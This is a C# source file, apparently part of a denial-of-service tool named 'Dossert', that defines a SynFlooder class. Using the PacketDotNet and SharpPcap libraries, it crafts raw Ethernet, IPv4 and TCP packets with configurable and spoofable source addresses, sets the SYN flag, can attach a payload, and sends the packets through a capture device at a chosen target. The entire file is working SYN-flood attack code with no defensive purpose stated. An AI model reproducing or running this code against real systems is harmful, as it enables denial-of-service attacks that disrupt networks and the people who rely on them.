﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using PacketDotNet;
using SharpPcap;

namespace Dossert
{
    public class SynFlooder
    {
        public class SynFloodPacket
        {
            public EthernetPacket Ethernet { get; set; }
            public TcpPacket Tcp { get; set; }
            public IPv4Packet IPv4 { get; set; }

            public SynFloodPacket(EthernetPacket ethernet, TcpPacket tcp, IPv4Packet ipv4)
            {
                Ethernet = ethernet;
                Tcp = tcp;
                IPv4 = ipv4;

                Init();
            }

            public SynFloodPacket(SynFlooderInfo info)
            {
                Ethernet = new EthernetPacket(info.SourceMAC, info.TargetMAC, EthernetPacketType.None);
                Tcp = new TcpPacket(info.SourcePort, info.TargetPort);
                IPv4 = new IPv4Packet(info.SourceIP, info.TargetIP);

                Init();
            }

            private void Init()
            {
                IPv4.PayloadPacket = Tcp;
                Ethernet.PayloadPacket = IPv4;

                IPv4.Checksum = IPv4.CalculateIPChecksum();
                Tcp.Checksum = (ushort)Tcp.CalculateTCPChecksum();
            }
        }

        public SynFlooderInfo FlooderInfo { get; set; }
        public SynFloodPacket Packet { get; set; }

        public SynFlooder(SynFlooderInfo flooderInfo)
        {
            FlooderInfo = flooderInfo;
        }

        public void CreatePacket()
        {
            Packet = new SynFloodPacket(FlooderInfo);
            Packet.Tcp.Syn = true;
        }

        public void CreatePacket(string msg)
        {
            Packet = new SynFloodPacket(FlooderInfo);
            Packet.Tcp.Syn = true;
            Packet.Tcp.PayloadData = System.Text.ASCIIEncoding.UTF8.GetBytes(msg);
        }

        public void CreatePacket(byte[] msg)
        {
            Packet = new SynFloodPacket(FlooderInfo);
            Packet.Tcp.Syn = true;
            Packet.Tcp.PayloadData = msg;
        }

        public bool SendPacket()
        {
            if (Packet != null)
            {
                FlooderInfo.PCapDevice.Open();
                FlooderInfo.PCapDevice.SendPacket(Packet.Ethernet.Bytes);
                FlooderInfo.PCapDevice.Close();
                return true;
            }

            else
                return false;
        }
    }
}
